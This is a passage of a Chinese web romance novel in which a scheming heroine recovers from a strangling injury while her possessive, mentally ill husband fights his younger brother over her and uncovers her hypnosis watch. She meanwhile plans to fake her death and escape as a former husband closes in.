沈错讥笑一声,拎起许生的衣领,用那只缠着绷带手,朝着他的嘴角就是一拳。 “砰!” 许生的头歪到了一边,鲜血顺着他的嘴角蜿蜒流下。 接着,沈错用力一拽,把他从地上拽起来,抵在墙上,伸手死死捏住他的下巴。 “真出息了,小兔崽子,你毛长齐了吗?” 胸膛起伏个不停,沈错满脸戾气地看着许生,他从来没有这么生气过。 他没有想到,他从小庇佑的弟弟,长大后竟对他的老婆产生了不该有的心思。 而且,他不过才见了她一面。 病房里。 医生正在给菘蓝的脖子敷药。 敷完药,要开始调整颈部和项部的骨结构。 沈错给菘蓝安排的都是最好的医生。 在医生的妙手之下,菘蓝抵着喉咙,终于发出了啊.....啊....啊的声音。 “啊.....痛痛痛.....” 菘蓝皱着眉头,痛到直吸气。 她喉咙里像是卡了一把刀子,她现在每说一个字,喉咙就痛一次。 医生:“少夫人,您这几天只能吃流食,尽量别说话,不要吃辛辣的东西,好好修养,过段时间就能恢复了。” 菘蓝点了点头。 别说是吃东西了,她现在连喝水都痛。 医生走后,一直守在门口的保镖冲了进来,他们看到菘蓝已经敷完了药,连忙道: “少夫人,你快去看看吧,少爷跟许生少爷打起来了,刚刚您在看病,我们也没敢进来。” 听到沈错和许生打起来了,菘蓝眼皮子顿时一跳,小哑巴那个笨蛋,帮她出什么头啊。 她连忙跳下床,光着脚就往外跑。 菘蓝本以为两个人打得你来我往,结果跑到地方一看,发现许生在单方面挨打。 小哑巴捂着腹部,半跪在地上,嘴角溢着鲜血,顺着颌角滴到了锁骨上。 他白色的衬衫被鲜血染红了一片。 沈错孤身立着,一只手拽着许生的衣领,用看垃圾一样的眼神看着他。 “你.....住......手.......” 菘蓝用手抵着喉咙,痛苦地皱着眉。 她的声音很轻,但无比清晰地落进了沈错的耳朵里。 沈错回眸一望,看到菘蓝穿着病号服,光着脚站在地上。 她小脸煞白,修长的脖颈上还残留着紫红的掐痕。 “蓝儿.....” 沈错立即丢下手里的许生,跑到菘蓝面前,又欣喜又担忧地看着她: “蓝儿,你能说话了?” 菘蓝用手抵着喉咙,表情痛苦地摇了摇头。 她现在一说话就痛,喉咙里像灌满了玻璃渣子。 要不是不得已,她也不想说话的。 许生看到菘蓝来了,连忙擦了擦嘴角的血迹,一骨碌从地上爬了起来。 他不想让姐姐看到他狼狈的样子。 “小崽子,谁让你起来了?” 沈错看到许生还想往菘蓝身边跑,冷着脸,挽起袖子,拎着拳头就折了回去。 菘蓝一看不妙,连忙扑过去,挡在许生面前。 沈错愣住了,用很受伤很不可置信地眼神看着菘蓝: “你,护着他?” 第六十四章 想抢他老婆?那不能够啊! 沈错看到菘蓝维护许生,气得声音都变了调: “你....你知道他都干了什么吗?” 菘蓝嗓子太痛了,她看了眼低头擦拭血迹的许生,比划着手势: 【弟弟是个耿直孩子,他是为我打抱不平,才找你麻烦的,你别跟弟弟计较。】 沈错急了:“不是!他偷你东西!” 菘蓝愣了一下:“?” 啊?偷东西? 沈错从口袋里掏出那支口红,菘蓝瞳孔一颤,顿时明白了。 这事可不是小事,往大了说,那就是觊觎嫂子。 按照沈错的性格,怎么可能忍,没下手打死他就是轻的了。 思绪千回百转,菘蓝用手抵着喉咙,忍着痛,哑着嗓子艰难道: “不是....他.....偷.....的,我....弄丢....了,他捡到,想还我,你.....” 她每说一个字都痛得皱一下眉,看得沈错心疼极了。 沈错顾不得反驳,连忙打断她:“好了,你不要再说话了。” 他走过去,一把抱起菘蓝,转身就往病房走。 “地上这么冷,你跑出来,连鞋子都不穿。” 沈错没空再去计较别的,他注意到菘蓝脚背冻得通红。 他伸手去捂她的脚,发现她的脚冷得像块冰。 许生仰着头靠在走廊里,他看着菘蓝远去的背影,抬手擦干嘴角的血迹,然后轻轻笑了。 真好。 姐姐选择维护他。 姐姐还是在乎他的。 ........ 沈错抱着菘蓝进了病房,轻轻把她放在床上,然后撩起自己的上衣,把她的脚放了进去。 菘蓝一愣,弓着脚下意识往后缩了缩。 沈错摁住她的脚踝:“别动,好好捂一会。” 她的脚踩在他温热结实的腹肌上,脚趾下意识蜷缩着,像闭合的贝壳。 源源不断的热量自脚底输向全身,菘蓝低垂着眼,心头升起一抹异样的情绪。 不过很快,她就把这种情绪压了下去,像老僧入定一样,眼观鼻,鼻观心。 门口响起一阵飘忽的脚步声。 许生也赶到了病房,他被揍得不轻,眼眶青紫,破了皮的唇角高高肿着。 他看到沈错亲昵地给菘蓝捂脚,扶着门框的手攥到泛白。 沈错看到许生跟来了,眉头瞬间挑起,眸光泛起冷意。 呵..... 他的蓝儿就是太善良了,担心许生被人唾弃,才说那些话帮他解围。 都是男人,谁不懂谁的心思啊? “别进来,再往前一步,我把你腿打断。” 沈错看着许生,目光冷漠无情。 他真的会说到做到。 想抢他老婆? 那不能够! 许生停住脚步,站在门口,无辜的狗狗眼微微下垂,一副想进来又不敢进来的模样,看着有点可怜巴巴的。 菘蓝不满地戳了戳沈错的腰窝,瞪了他一眼:“别....这样.....对他。” 沈错顿时有点生气,捏着她的下巴,有些强硬道: “你,是我老婆,以后只能帮我说话,不能维护其他男人,我会不开心,会吃醋,你越是维护谁,我就越针对谁。” 菘蓝不太喜欢沈错的强势。 她蹙着眉,迎着沈错的目光,像天鹅一样高高昂起脖子。 沈错看到她脖颈上的掐痕,瞬间就硬气不起来了,他连忙妥协,软声道: “好好好,我不说话了,都依你。” 许生如愿进了病房,可怜巴巴的眼神立马变了,化为一抹得逞的笑意。 他低着头,乖乖坐在菘蓝旁边,拿起水果刀削苹果。 削好后,切了薄片递到菘蓝嘴边。 “她喉咙痛,不能吃这么硬的东西。” 沈错冷冷看了许生一眼,直接没收了他手里的苹果。 许生也抬眸,冷冷地回望他,比划着手势道: 【她喉咙痛,你害的。】 这句话很诛心,像刀子一样,狠狠插进了沈错的心脏。 他侧着脸,垂着眉眼,修长瘦削的手在袖子中攥紧:“以后,我不会再让这种事发生了。” 菘蓝也低垂着头,不敢去看沈错的眼睛。 这件事说到底只能怪她自己。 如果不是她想催眠他,也不会搞出这桩祸事。 哎呀,好烦,沈错这条路走不通,她怎么才能快点查清沈夫人的事啊。 她现在没有时间了。 按照白楚年那死狐狸眦睚必报的性格,等他料理完李家,下一个被料理的就是她了。 思绪很纷乱,菘蓝在纠结要不要终止徐家的委托。 按照现在这个情况,她可以利用沈错误伤她的事情,顺理成章地提出离婚,然后摆脱沈家。 可是如果就这么走了,她又有点不甘心。 半途而废,不是她的风格。 纠结了很久,菘蓝叹了口气。 算了,先走一步看一步,白楚年应该也没那么容易搞定李家。 密切关注港城的消息,如果白楚年真回来找她了,她立马卷铺盖跑路。 与此同时。 海都国际港口。 一艘不起眼的轮渡趁着雾色的掩盖,悄悄靠了岸。 白楚年站在船头,长身玉立,笔挺如松。 他墨色的长发垂在身侧,狭长的狐狸眼看着茫茫海面,眸中微光浮动。 他这次悄悄来海都,没有告诉任何人。 他害怕那个小骗子听到风声会提前跑路。 那个小骗子联合李家,真得把他骗得好惨好惨啊...... 李家,他只差最后一击,就能将其击溃。 他故意不搞出动静,就是为了不吓跑沈园里的那个小骗子。 身后。 抱着小恐龙玩偶的豆豆,从船舱里钻了出来。 他走到白楚年身边,扯了扯他的衣角,奶声奶气地问道:“哥哥,你不用坐轮椅了吗?” 白楚年摇了摇头:“不用了,哥哥以后不用再装瘫子了。” 瘫子要是装太久,老婆可就真没了。 豆豆似懂非懂地点了点头,看向灯火阑珊的码头,问道: “哥哥,这里就是海都吗?我们这趟是来旅游的吗?” 白楚年伸手捏了捏他的脸,回答道:“我们不是来旅游的。” 豆豆眨巴眨巴眼睛:“那我们是来干嘛的?” 白楚年狭长的狐狸眼闪了闪:“我们是来带你嫂嫂回家的。” 第六十五章 你小子有种 因为喉咙受伤,菘蓝没有办法吃饭,只能勉强喝点稀粥。 温热的白粥滑过喉咙,食道燃起灼烧的痛意,疼得她轻轻拧了拧眉。 “很痛吗?” 看到菘蓝皱眉,沈错的心也跟着皱了一下,他怜惜地抚摸着她的侧颈,满脸歉意。 菘蓝微微点了点头。 她的喉咙确实很痛。 不过,这些疼痛对于她来说根本不算什么。 她是故意痛给沈错看的。 愧疚感,是操控一个人最高级的手段。 她得未雨绸缪,万一白楚年真杀过来了,她刚好可以利用沈错的愧疚,让他签离婚协议,然后光明正大地离开沈家。 就算离不了婚,她也能借这个机会回徐家,脱离沈错的掌控,然后想办法死遁。 “对不起,蓝儿......” 沈错低垂着头,脚像钉在地上了一样,心头漫过一抹酸楚的钝痛。 他该死。 他真的该死。 他竟然伤了她,还差一点要了她的命。 沈错的右手微微颤动着,白色的纱布被鲜血一点点泅湿,刚刚因为跟许生打架,手臂的伤口又裂开了。 他拉着菘蓝的手,红着眼睛看向她: “蓝儿,你打我吧,你扇我也行,怎么对我都行,只要能减轻你的疼痛,让你好受一点.....” 菘蓝:“........” 她又不是暴力狂。 再说了,她扇他耳光,万一给他扇爽了怎么办。 按照这狗男人受虐狂的性格,说不定还真有可能。 菘蓝没搭理他,轻轻抽回手,端着碗继续喝粥。 但也就勉强喝了两口,就没再喝了。 一是嗓子痛,二是清汤寡水的,根本不合她胃口。 可惜医院也不让她吃别的。 看着她没吃几口,沈错的心又揪起来了,他连忙站起身:“那我去找医生,给你输营养液。” 沈错走后没多久,病房的门又被人推开了。 许生探头探脑地从门缝看了一眼,他眼睛亮晶晶的,圆圆的眼尾柔软地垂着,像森林里探出头的小鹿。 发现屋里没有其他人,他立马端着一个保温盒鬼鬼祟祟地钻了进来。 他一进门,菘蓝就闻到了一股食物的鲜香味。 【姐姐,饭饭,给你。】 许生指着怀里的饭盒,比划了两下,然后打开了盖子,屋子里瞬间溢满了鲜美的蟹黄味。 菘蓝眼睛一亮。 啊!是她最喜欢的蟹黄汤包。 许生知道她喉咙痛,没法吃太多东西,便把蟹黄汤包的包子皮去掉,只留了蟹黄汤汁。 蟹肉、蟹黄、肉糜已经被炖烂,融化在了汤里。 菘蓝舀了一勺黄澄澄的蟹黄汤,一口下去,简直要鲜掉眉毛。 太好喝了! 只不过,她吞咽的时候,喉咙还是会痛。 但是菘蓝根本抗拒不了蟹黄汤的魅力,即使忍着痛,她也喝了好几口。 【姐姐,喜欢,我天天来。】 看到她喝了好多,许生喜笑颜开,琉璃般的眸子熠熠生光。 沈错带着一大批医学专家回来的时候,刚好看到了这一幕。 许生哄着菘蓝喝汤,菘蓝一边喝一边冲着他柔柔地笑。 沈错心底的火气蹭得一下就上来了。 好小子,趁着他不在,就勾引他老婆是吧? 真会见缝插针。 他砰得一声推开门,双手抱胸,倚在门边,冷冷地看向许生: “走,我们出去说。” 许生没想到沈错回来这么快,他缓缓站起身,迎着沈错森冷的目光,无所畏惧地走了过去。 屋子里的气氛剑拔弩张,菘蓝担忧地看了两人一眼。 这两人可别又打起来。 这事要是传出去,一定会传得很难听。 “没事的,蓝儿,你不要担心,我不会对他动手的,我们就聊两句。” 沈错安慰了菘蓝一下,随后率先走出了病房,许生紧随其后。 医院,顶楼。 呼啸的冷风在天台肆虐,卷起地面裂缝的余灰,吹向四周。 沈错靠在栏杆上,身后的风衣被吹得猎猎作响,他抬手点了一支烟,狠狠抽了一口,然后又给许生递了根烟。 许生抬手接过,学着沈错吸烟的样子,也狠狠吸了一口,然后被呛得连连咳嗽。 “咳咳......” 他眼眶被呛得通红。 “呵,小屁孩,不会抽就别抽了。” 沈错嘲笑了他两声。 许生不甘示弱地昂起头,嘴角向下撇着。 他可不是什么小孩子,再过两天他就二十岁了。 天台风大,香烟烧得很快,短短两分钟,沈错指尖的香烟就燃了半寸。 他浅浅咬着烟蒂,俊朗的侧脸缭绕着青白色的烟雾。 半晌,他突然抬眸看向许生,问道:“你是认真的?” 这没头没尾的一句话,许生听懂了。 他坦然地看着沈错,坚定地点了点头。 喜欢姐姐,他是认真的。 许生拇指弯曲,指尖朝颌部点了两下,然后点着头,摸了一下耳垂。 【我,喜欢,姐姐,认真的。】 看到他承认了,沈错眯了眯眼,吐出一圈青白色烟雾: “好小子,你有种。” 很有种,很敢认,不像某个姓周的男人,明明对他老婆有想法,却不敢明说。 沈错抬手把烟摁灭,偏头看向许生,语气冷硬道: “可是,你也知道,她是我的老婆,她是你嫂子,你不能对她有想法,况且,你已经没机会了。” 许生双手插兜,圆润的眸子微微睁着,静静等他把话说完。 沈错扯了扯唇角,继续道: “蓝儿是很漂亮,性格也好,身材也好,她会被人惦记,我一点也不意外。 可是,你知道吗,一见钟情,看中的是脸。 你只是喜欢她的皮囊,这种喜欢太浅薄了,经不起任何考验,风一吹就散了。 看在你年纪小,又是我弟弟的份上,我允许你犯一次错,但从今以后,你不准再靠近她。 如果让我看到你再接近她,我真会弄死你。” 听完沈错的话,许生轻轻掀起眼皮,嘴角勾起一抹淡淡的弧度。 那是嘲弄和讥讽的笑意。 他伸出手,缓缓比划道: 【你才是那个浅薄的,我更了解姐姐,最没机会的是你,你根本不懂她。】 第六十六章 我没说不动脚 他跟姐姐认识547.5天,13140个小时,788400分钟了。 姐姐喜欢什么,讨厌什么,要做什么,他都一清二楚。 他知道姐姐很多秘密。 他才是最了解姐姐的人,也是姐姐最信任的人。 哼,某人喂的粥,姐姐吃都不吃,他做的蟹黄汤,姐姐都喝完了。 姐姐喜欢跟谁在一起,高下立判。 谁最没机会谁叫得最欢! 许生嘴角勾起一抹浅笑,目光淡淡扫过沈错冷沉的脸,露出一丝不经意的炫耀和不屑。 许生挑衅的目光,让沈错很不爽。 他不明白,许生眼底的那种优越感是从哪来的。 他隐隐觉得,哪里好像不太对劲,但是又说不出来。 天台的铁门被风吹得吱呀吱呀响,很是聒噪。 躁意在沈错心里撕开了一道口子,冲着许生探出了头。 沈错走到许生面前,目光沉沉地看着他,嘴角扬起一抹凌厉的冷笑,盛气逼人道: “我不想再说废话了,我最后再警告你一遍,收起你不该有的心思,不要再靠近蓝儿。 否则,就别怪我无情了。” 他对许生已经很宽容了。 如果换成别人,早就已经死了八百回了。 “你应该知道我的身份,我真要弄你,你那个当司令的老爹也救不了你。” 沈错似笑非笑地看着许生,漂亮的瑞凤眼微微勾着,看似笑意盎然,其实隐藏着杀机。 他逆光站着。 光从他的身后照过来,黑色风衣挺括的立领,被夕阳镀上了一层锋利的金边。 满身肃杀。 许生微垂的睫毛抖动了两下,片刻后,他倔强地抬起头,比划道: 【哥,最不该靠近她的人,是你。】 【你伤了她一次,还会伤她第二次。】 沈错眉眼顿时一沉,像是被说中了最害怕的事,下颌紧紧绷着,白皙修长的手猛然攥紧。 躁意如猛兽出笼,他抬起腿,狠狠朝许生的心口踹了过去。 砰得一声巨响,猝不及防的许生被踹到了铁门上。 “嗯......” 一地烟尘中,许生闷哼了两声,捂着胸口站了起来。 他伸手擦去嘴角的血迹,眼神嘲讽地看着沈错,比划道: 【哥,你这样,姐姐跟你在一起,真的危险,你,不配她。】 许生是懂得怎么扎人心窝的。 沈错愣在原地,紧攥的右手的伤口再度崩开,透过纱布往下渗着血。 差点杀了最想守护的人,是他最不可饶恕的错。 出了这种事情,他是真的自责,也是真的害怕,他害怕...... 他明明已经很久没有像这样失控过了。 他都以为,他已经好了。 沈错红着眼,几乎自虐地一拳砸在铁门上。 伤口处的疼痛像电流一样蔓延至全身,疼得钻心。 楼下的人听到天台有动静,连忙跑上来查看。 这个地方已经不适合谈话了,沈错绷着唇角,沉着脸,沿着楼梯走了下去。 回到病房。 沈错一声不吭地坐在菘蓝身边,解开浸满鲜血的纱布,用镊子清理里面的碎肉。 菘蓝看得一愣一愣的。 “你.....怎么....又把伤口弄崩了?” 沈错低着头道:“没事,不怎么疼。” 菘蓝皱着眉,朝他身后看了看:“弟弟呢?你该不会又对他动手了吧。” 沈错摇头:“没有,我手上的伤,是推门的时候裂开的。” 说着,沈错把受伤的右手往菘蓝面前一递,哼哼唧唧道: “老婆,可以帮我打个结吗,我一只手不方便。” 菘蓝白了他一眼,冷着脸给他系了个蝴蝶结。 就在这时。 吱呀一声,许生推开门走了进来。 他脸色苍白,嘴角未擦干的血迹尤为明显。 这一看,菘蓝还有什么不明白的,她瞪着眼睛看向沈错:“你不是说你没动手吗?” 沈错抬手指了指许生衣服上的脚印,狡辩道: “我确实没动手啊,我动的是脚。” “你!” 菘蓝气结。 像炸毛的小猫一样,狠狠瞪着沈错。 这人,真是够无耻的。 许生捂着胸口,可怜巴巴地站在墙角,圆圆的狗狗眼委屈地垂着,看着像受尽了欺负。 但是他什么也不说。 对,宝宝委屈,但宝宝什么也不说。 “你.....你以后别欺负他了。” 菘蓝受不了许生可怜巴巴的眼神,伸手戳了戳沈错。 “我欺负他?” 沈错像听到了什么不可思议的事情,音调陡然拔高。 这狗崽子觊觎他老婆诶! 他不过出手教训了两下,怎么就成了欺负人? 如果不是念在他们以前是兄弟的份上,他就直接把他弄死了。 忍无可忍,无须再忍。 沈错蹭地一声站起来,一把揪住许生的衣领,屈起指关节,使劲锥他脑门。 “你是不知道他有多可恨,他明目张胆地跟我说他喜欢你,还说我配不上你。 但凡是个正常男人,都不可能忍住不动手的!” 菘蓝没想到许生会这么大胆,直接对着沈错贴脸开大,她愣了愣后,连忙圆场子。 “嗯......像我这么优秀的人呢,喜欢我的人当然很多。 不过,不管别人喜欢我,还是讨厌我,都跟我没关系。” 这话说得极有水平,落在沈错耳朵里,听到的就是,不管许生有多喜欢她,她都不会喜欢许生。 沈错看向许生,得意地扯了扯唇角,嘲讽道: “听到了吗?你没戏的,识相就快滚。” 许生在心底嗤笑了一声。 嘚瑟什么,姐姐跟你不过是逢场作戏,还真把自己当个人物。 他心里这样想,但是没敢表达出来。 他偷偷瞄了菘蓝一眼,然后低头扣手。 姐姐留在沈家,是有事情要做,他不能把话说出来,要是激怒了沈错,搞砸了姐姐的事情,姐姐肯定要生他气的。 呵,就让你嚣张一段时间。 反正他是最了解姐姐的人,也是姐姐最信任的人,他跟姐姐最般配了。 僵持间,沈错的手机震动了两下。 他点开手机看到了一条信息。 信息上写着: “少爷,我们清理少夫人房间的时候,发现了一些不寻常的东西。” 第六十七章 现任也扒她马甲 沈错回了水云居。 锃亮的红木地板映出一道影子,保镖拿着一个银色怀表,走到沈错面前: “少爷,这是少夫人那天摔坏的怀表,我们本想把它修好,却意外发现它里面有东西。” 拧开表盘,银灰色的夹层里有一堆细小的滚珠。 滚珠轻轻晃动,发出极有韵律的节拍声,并且还散发出一种独特的气味。 闻起来让人有点昏昏欲睡。 “少爷,这怀表是催眠用的。” 沈错垂着眼,指腹轻轻摩挲凸凹不平的表盖,眸底幽光浮动。 他已经很久没有像昨晚那样失控了。 他有时就算很心烦很暴躁很想杀人,也不至于完全失去理智。 催眠吗?有意思。 回想起那一晚,他的蓝儿确实太过主动,太过体贴了。 沈错凝视着怀表,眼底又闪过一丝不解。 目的呢? 她催眠他的目的是什么呢? ??“少爷,还有,我们还在少夫人的房间里发现了几瓶药。” 保镖拿出两个白色的药瓶,外壳没有任何标签和文字,看上去普普通通。 拧开瓶盖一闻,沈错顿时皱了皱眉。 药的味道他很熟悉。 是利培酮和阿立哌挫,抗精神分裂的镇定药物,他以前常年吃,后来身体产生了耐药性,就没再吃了。 他数了数药的数量,按照这个月的天数来推算,剩下的药物正好一天一颗。 说明,她每天都有偷偷在吃药。 沈错眼底的疑惑更深了。 他突然发现,他好像一点也不了解他的小新娘。 她很少聊她的过去,甚至很少跟他谈心。 她也从不问他在做什么,他每次突然出差,她也懒得过问。 沈错现在才意识到,他们除了个别时候亲密一点,大多数时候更像两条平行线,从未有过灵魂上的共鸣和炽热的相交。 “少爷,少夫人是不是哪个国家派来的探子,想要窃取我们R7的内部机密。” 保镖一脸凝重地说道。 沈错气笑了:“你去看看脑子行吗?” 说完,他敛下眸子,指尖轻轻敲击茶几,补充道: “不过,你去调查一下她这些年在国外的人生经历,接触过哪些人,做过哪些事,看过什么病......” 深夜。 沈错又回了医院。 夜深人静,医院静悄悄的,走廊里的灯散发着青白色的冷光。 菘蓝已经睡着了。 她侧躺在病床上,长长的睫羽闭合着,呼吸清浅,睡姿恬静。 视线往下看,她脖颈上的掐痕微微淡了一点,但依旧狰狞恐怖。 沈错的心揪成一团,他伸出手,轻轻抚摸菘蓝的小脸。 小笨蛋,你想知道什么,直接问就好。 搞成这样,让自己受伤。 睡梦中,菘蓝感觉脸上痒痒的,下意识伸手去挠,结果覆在了沈错的手背上。 她猛然惊醒,睁着朦胧的睡眼,看向坐在床边的人。 “嗯?你怎么又回来了?你不是去出差了吗?” 菘蓝打了个呵欠,莹润的眸子泛着水光,眼睛眨巴眨巴,睫毛濡湿了一片。 看着像是哭了,模样惹人怜惜。 沈错坐到床上,连人带被子一起拥进怀里,他怜惜地吻了吻她的眼尾,然后问道: “老婆,你是不是很想了解我?” 菘蓝不解地眨了眨眼。 这人是不是有毛病,大半夜不睡觉,把她弄醒,问她想不想了解他? 沈错摊开手心,露出一块修好的怀表。 怀表摔坏的上盖换掉了,换成了掐丝珐琅的表壳。 菘蓝明白了,表壳里的东西被发现了。 这块催眠怀表是特制的,搭配具有安神功效的香薰,在施展催眠术的时候有奇效。 她双目微垂,下意识收紧的指尖,轻轻拢了拢耳边的碎发。 片刻后,她抓着被单,声音颤巍巍道: “没有,我最近睡眠不好,经常梦游嘛,所以就在网上买了一些助眠的东西。 我那天只是想试试效果,没想到你会突然变成那样.....” 这个理由听起来勉强还过得去。 菘蓝觑着眉眼,用手抵着喉咙,虚弱地嘤咛了两声: “对不起,我不知道你会变成这样,所以就算你伤了我,我也没有责怪你,是我的错.....” 说完,她蜷在袖子里的左手悄然攥紧。 该死! 她本来还想利用沈错误伤她的愧疚心理,逼他离婚呢。 现在这个方案行不通了。 催眠的事情被发现了,她现在只能随机应变,把眼下的事情应付过去。 至于从沈家离开的退路,后面慢慢想吧。 事情就是这样,瞬息万变,计划赶不上变化。 她垂着眸子道歉的模样,乖巧极了,贝齿咬着柔软的唇,眼底漫着雾气。 跟平日在他面前娇纵的模样大不一样。 柔弱、无辜、楚楚可怜。 美人落泪,演到你三分醉。 沈错心头一恸,揽着菘蓝的肩膀,连忙开口道歉: “不,不是你的错,是我的疏忽,我们结婚这么久,都还不了解彼此,所以才导致了这种事情......” 不管怎么说,他确实伤了她,还差点要了她的命。 他的问题更大一点。 如果他是一个正常人,也不会这样。 沈错紧紧拥着菘蓝,喉结轻轻滚动,缓声道: “我有遗传性精神病,失控的时候会丧失理智,但我的病早就好转了,我向你保证以后不会再有这种事情发生了。” 说完,他亲亲吻了一下菘蓝的手背,有些自嘲道: “你,会害怕我吗? 我失控的时候是不是很像一个怪物?” 菘蓝睫毛颤了颤,轻咬了一下唇: “如果你爱我宠我,真心待我,永远只疼我,我宁愿蒙蔽双眼,哪怕你是鬼是怪物,我都认。” 沈错心口狠狠一震,低头看着菘蓝,欣喜道:“真的?” 菘蓝轻轻点了点头:“真的。” 真的才怪。 就是骗你的! 先不说她骗不骗。 这狗男人外面还有个心上人,也不可能做到真的疼她爱她。 再说了,她要别人的爱干什么。 她不需要,也不渴望。 沈错把菘蓝搂得更紧了,他用脸蹭了蹭她的头顶,眼眸中闪烁着异样的执着: “老婆,你不可以骗我哦,欺骗我的后果可是很严重很严重的哦.....” 第六十八章 她准备跑路 他的声音很轻很轻。 像梦呓的低喃,却一直萦绕在菘蓝耳边,像阴冷的潮雨一样,黏腻无声地裹着她,让她有点窒息。 菘蓝蹙了蹙眉,扭动着身子:“你别抱得这么紧,勒得我有点痛。” 沈错立马松了手劲,害怕又弄疼了她。 “我要睡觉了。” 菘蓝趁机会抓起被子,往床上倒去。 “蓝儿,蓝儿,老婆,老婆,宝宝,宝宝,你再让我抱一会好不好~” 沈错拖着尾音,肉麻地乱喊。 他真的好开心。 她说,不管他是鬼还是怪物,她都认他。 他的蓝儿,真的太太太太好了。 不管是以前还是现在,她都治愈着他,她就是他的药。 幸福、喜悦、满足的情绪在这一刻攀升至顶点。 他血管里奔流的每一滴血液,都在呐喊,都在狂喜,都在疯狂叫嚣。 这种强烈的情绪刺激,攻击着他的所有感官,冲击着他的每一根神经。 在这一刻,他才感觉到自己真正在活着。 “老婆,你别睡,起来聊天,我有好多话想跟你说,想跟你分享很多事情。” 沈错扯了扯菘蓝的被角,像小孩子一样推她的肩膀。 菘蓝:“滚!” 她翻了个身。 除了沈夫人的事情,其他的她什么都不想知道。 她也没兴趣了解。 现在她总算明白沈园为什么不让提起沈夫人了,这一提沈夫人,某人就会暴走,谁还敢提啊。 沈错跟她有点像,都有不能提及的禁区。 一旦触碰,非死即伤。 说起来,他们好像还真有点同病相怜的感觉。 菘蓝在心底幽幽叹气,唉,麻烦了,不好搞。 要不......这一单委托到此为止吧。 主要她现在处境有点艰难,周围群狼环伺,她害怕再不走就要翻车了。 几个前夫哥一起找上门的场面,想想都刺激。 一对一她还能稳得住。 现在她那几个前夫,还不知道对方的存在,要是彻底翻车掉马了,她十条命都不够死的。 她要准备跑路了。 “跑不掉的,她跑不掉的。” 海湾别墅。 白楚年站在院子里,手里攥着一封信,小雪貂在他肩头跳来跳去。 他看完那封信,狭长的狐狸眼微微眯起: “这一次,我要亲手抓住那个小骗子,她跑不掉的,她真的骗得我好惨好惨.....” 就在刚刚,李家服软投诚了。 本来,他是要把李家往死里整的。 但是刚刚,李家给他献上了一份,让他很满意的投名状。 “哥哥,我们不是来找嫂嫂的吗?为什么要当警察抓骗子呀?抓骗子不好玩,我想抓小偷。” 豆豆挪动着小短腿,抱着白楚年的大腿晃来晃去,可爱的大眼睛眨啊眨。 白楚年伸手摸了摸豆豆的小脑袋,嘴角勾起一抹笑意:“豆豆乖,哥哥马上带你去抓小偷。” 对,他要逮捕那个,偷了他的心的骗子小偷。 .......... 翌日,清晨。 温暖的阳光透过玻璃窗照进了病房,影子斑驳,光线温柔。 菘蓝睫毛动了动,微微睁开眼。 她看到沈错靠窗坐着,闭着眼睛,上身盖着半拉外套。 他好像睡着了,光线打在他挺直的鼻梁上,深邃的轮廓半明半暗。 睡着的沈错看起来比平时温顺,唇角微微勾着,有点孩子气。 他今年也才二十二。 看着他安静美好的睡颜,菘蓝突然很想恶作剧一下,想在他白皙的脸上画一只乌龟。 但是她刚刚掀起被角,沈错就醒了。 他嘴角噙着笑意,看向菘蓝的眼眸柔情似水: “老婆,早上好呀,又是新的一天,又是美好的开始~” 菘蓝点点头,算是回应了一下。 他把身上的外套甩到一边,走到病床前,笑着看着菘蓝:“老婆,你刚刚是不是偷看我了?” 菘蓝微睁着眼。 这人怎么知道的? 沈错低低笑了两声,在她额头落下浅浅一吻。 “早安吻。” 他太喜欢她了。 喜欢到时时刻刻都想亲她吻她,想把她抱在怀里亲,按在墙上亲,掐着腰亲,压在床上亲。 想要把她融进身体里,刻进骨子里。 但是他只敢想想,不敢做得太过火。 他害怕吓到她。 他的蓝儿是一只脆弱的小鸟,要细心呵护,要慢慢养着,等养熟了...... 菘蓝垂着眸子,避开了某人灼烧的视线。 一大早,就被人用炽热的眼神看着,怪.....怪不舒服的。 沈错捏着菘蓝软软的手指,嘴角噙着笑意道: “老婆,我今天一天哪都不去,我就陪着你聊天,我们拥在一起,促膝长谈。” 嗯,他要跟老婆好好沟通,好好交流,好好谈谈心。 他想了解她,也想让她了解他。 听到沈错说今天哪都不去,菘蓝心头微微一惊。 他要是一直这样看着她,她还怎么跟外面的人联系。 她想跑路了。 如果要死遁,她需要联系她那帮朋友,她一个人是没法布局的。 “不用不用,我已经没什么事了,你不用陪着我,我知道你平时很忙,你去忙你自己的吧。” 菘蓝轻轻拍了拍沈错的手背,给了他一个放心的眼神。 沈错反手捉住她的手背,盯着她的眼睛道:“老婆,我发现我变了。” 菘蓝挑了挑眉:“嗯?什么意思?” 沈错:“我发现自己比昨天更爱你了。” 菘蓝:“..........” 确实,过了一夜,这男人好像比以前更黏她了。 菘蓝开始反思自己,反思她昨晚是不是哄人哄过头了。 不过这男人也太好哄了,几句话就撩得这么上头。 她微微低着头,假装有些羞涩,然后推了推沈错: “那个,我要换衣服了,你先出去一下。” 沈错点头,冲她笑了笑:“好的呢。” 男人前脚刚走,菘蓝就打开手机,切换出微信分身,给列表里一个叫“幽”的人,发了一条信息。 菘蓝:【幽,我需要你的帮助。】 过了一会,那边弹出一个消息。 幽:【很乐意为你效劳,my,Lunaria】 菘蓝:【我要跑路了。】 幽:【明白,这一次,你想怎么死?】 第六十九章 三人转 发完信息,菘蓝拉上窗帘换衣服,她解开扣子,脱掉外衣,把蓝色病号服丢进脏衣篓里。 突然,身后的玻璃窗响起轻微的吱呀声。 不是风声,是有人在推窗户。 菘蓝一惊,以为有人偷窥,下意识想喊叫,结果下一秒被人扑到了地上。 一回头,一张熟悉的面庞映入眼帘。 少年稚气的脸庞干净澄澈,圆润下垂的狗狗眼亮晶晶的。 许生竖起一根手指贴在她的唇瓣上。 【嘘!姐姐,是我。】 他是偷偷从四楼爬上来的。 沈错不准他来探望,医院也不让他进来,他没有办法,只好爬墙。 他太想念姐姐了,每时每刻都在想。 许生把贴在唇瓣上的手指移开,视线往下,猛然看到了一副雪白的身躯。 菘蓝刚脱了衣服,只换上了贴身的抹胸。 她漂亮的锁骨暴露在空气中,肌肤光洁无暇,宛如凝脂。 再往下,轻薄贴身的抹胸裹着两团柔软,从他的视角,能看见那道深邃的雪沟。 短而薄的布料堪堪遮住胸前的春色,却遮不住那截白皙苗条的细腰。 许生的脸和耳朵蹭得一下红了。 他像是触电一样,往后弹了一步,又紧张又害羞又着急地比划着手势: 【对不起,姐姐,你换衣服,我不知,不是故意。】 他很害怕被误解成偷窥的变态。 他是真的不知道。 少年的耳根子红的一塌糊涂。 他垂着眼,红着脸,不敢再看。 看着眼前耷拉着脑袋的纯情小狗,菘蓝嗔怒地瞪了他一眼:“冒冒失失的。” 突然跳进来,吓了她一大跳。 